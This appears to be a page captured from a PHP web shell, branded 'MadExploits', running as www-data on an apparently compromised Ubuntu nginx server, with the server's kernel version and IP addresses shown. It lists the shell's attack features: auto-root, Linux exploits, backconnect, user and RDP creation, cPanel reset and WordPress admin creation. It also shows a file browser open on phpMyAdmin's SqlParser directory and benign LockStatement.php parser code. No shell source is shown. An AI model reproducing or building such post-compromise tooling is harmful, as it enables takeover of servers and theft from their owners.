Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Statements /
[ HOME SHELL ]
Name
Size
Permission
Action
AlterStatement.php
3.68
KB
-rw-r--r--
AnalyzeStatement.php
636
B
-rw-r--r--
BackupStatement.php
527
B
-rw-r--r--
CallStatement.php
739
B
-rw-r--r--
CheckStatement.php
527
B
-rw-r--r--
ChecksumStatement.php
451
B
-rw-r--r--
CreateStatement.php
22.39
KB
-rw-r--r--
DeleteStatement.php
11.4
KB
-rw-r--r--
DropStatement.php
1.4
KB
-rw-r--r--
ExplainStatement.php
200
B
-rw-r--r--
InsertStatement.php
7.28
KB
-rw-r--r--
LoadStatement.php
10.81
KB
-rw-r--r--
LockStatement.php
3.41
KB
-rw-r--r--
MaintenanceStatement.php
1.47
KB
-rw-r--r--
NotImplementedStatement.php
1.34
KB
-rw-r--r--
OptimizeStatement.php
641
B
-rw-r--r--
PurgeStatement.php
3.76
KB
-rw-r--r--
RenameStatement.php
1.34
KB
-rw-r--r--
RepairStatement.php
570
B
-rw-r--r--
ReplaceStatement.php
5.21
KB
-rw-r--r--
RestoreStatement.php
477
B
-rw-r--r--
SelectStatement.php
7.26
KB
-rw-r--r--
SetStatement.php
1.98
KB
-rw-r--r--
ShowStatement.php
1.25
KB
-rw-r--r--
TransactionStatement.php
2.29
KB
-rw-r--r--
TruncateStatement.php
747
B
-rw-r--r--
UpdateStatement.php
2.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LockStatement.php
<?php /** * `LOCK` statement. */ declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Statements; use PhpMyAdmin\SqlParser\Components\LockExpression; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statement; use PhpMyAdmin\SqlParser\Token; use PhpMyAdmin\SqlParser\TokensList; use function trim; /** * `LOCK` statement. */ class LockStatement extends Statement { /** * Tables with their Lock expressions. * * @var LockExpression[] */ public $locked = []; /** * Whether it's a LOCK statement * if false, it's an UNLOCK statement */ public $isLock = true; /** * @param Parser $parser the instance that requests parsing * @param TokensList $list the list of tokens to be parsed */ public function parse(Parser $parser, TokensList $list) { if ($list->tokens[$list->idx]->value === 'UNLOCK') { // this is in fact an UNLOCK statement $this->isLock = false; } ++$list->idx; // Skipping `LOCK`. /** * The state of the parser. * * Below are the states of the parser. * * 0 ---------------- [ TABLES ] -----------------> 1 * 1 -------------- [ lock_expr ] ----------------> 2 * 2 ------------------ [ , ] --------------------> 1 * * @var int */ $state = 0; /** * Previous parsed token */ $prevToken = null; for (; $list->idx < $list->count; ++$list->idx) { /** * Token parsed at this moment. * * @var Token */ $token = $list->tokens[$list->idx]; // End of statement. if ($token->type === Token::TYPE_DELIMITER) { break; } // Skipping whitespaces and comments. if (($token->type === Token::TYPE_WHITESPACE) || ($token->type === Token::TYPE_COMMENT)) { continue; } if ($state === 0) { if ($token->type === Token::TYPE_KEYWORD) { if ($token->keyword !== 'TABLES') { $parser->error('Unexpected keyword.', $token); break; } $state = 1; continue; } else { $parser->error('Unexpected token.', $token); break; } } elseif ($state === 1) { if (! $this->isLock) { // UNLOCK statement should not have any more tokens $parser->error('Unexpected token.', $token); break; } $this->locked[] = LockExpression::parse($parser, $list); $state = 2; } elseif ($state === 2) { if ($token->value === ',') { // move over to parsing next lock expression $state = 1; } } $prevToken = $token; } if ($state !== 2 && $prevToken !== null) { $parser->error('Unexpected end of LOCK statement.', $prevToken); } } /** * @return string */ public function build() { return trim(($this->isLock ? 'LOCK' : 'UNLOCK') . ' TABLES ' . LockExpression::build($this->locked)); } }
Close